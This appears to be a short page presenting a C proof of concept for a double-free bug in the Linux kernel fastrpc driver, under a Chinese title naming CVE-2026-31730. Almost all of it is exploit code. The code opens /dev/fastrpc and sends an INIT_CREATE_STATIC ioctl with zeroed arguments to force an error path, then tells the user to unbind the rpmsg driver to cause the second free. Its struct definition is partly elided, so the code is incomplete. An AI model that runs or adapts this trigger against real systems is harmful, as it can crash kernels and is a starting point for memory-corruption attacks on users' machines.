CVE-2026-31730 Linux内核fastrpc双重释放漏洞

/* * PoC for CVE-2026-31730 * This code simulates the trigger condition for the double-free vulnerability. * It requires a vulnerable kernel version and access to /dev/fastrpc. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define FASTRPC_IOCTL_INIT_CREATE_STATIC _IOWR('R', 3, struct fastrpc_ioctl_create) struct fastrpc_ioctl_create { int filefd; /* fd of the file to mmap */ unsigned int attrs; unsigned int siglen; /* ... other fields ... */ }; int main() { int fd; struct fastrpc_ioctl_create create_args; printf("[*] Opening /dev/fastrpc...\n"); fd = open("/dev/fastrpc", O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); return 1; } // Initialize arguments to trigger the error path (err_map) // Specific values depend on the hardware/driver state to force the error. memset(&create_args, 0, sizeof(create_args)); printf("[*] Triggering INIT_CREATE_STATIC ioctl to force error path...\n"); // This call is expected to fail, triggering the first free int ret = ioctl(fd, FASTRPC_IOCTL_INIT_CREATE_STATIC, &create_args); if (ret < 0) { printf("[+] Ioctl failed as expected (ret=%d), first free likely occurred.\n", ret); } close(fd); printf("[*] Now trigger rpmsg device removal (e.g., unbind driver)\n"); printf("[*] This should trigger fastrpc_rpmsg_remove and the second free.\n"); printf("[*] Check kernel log for 'double free' or general protection fault.\n"); return 0; }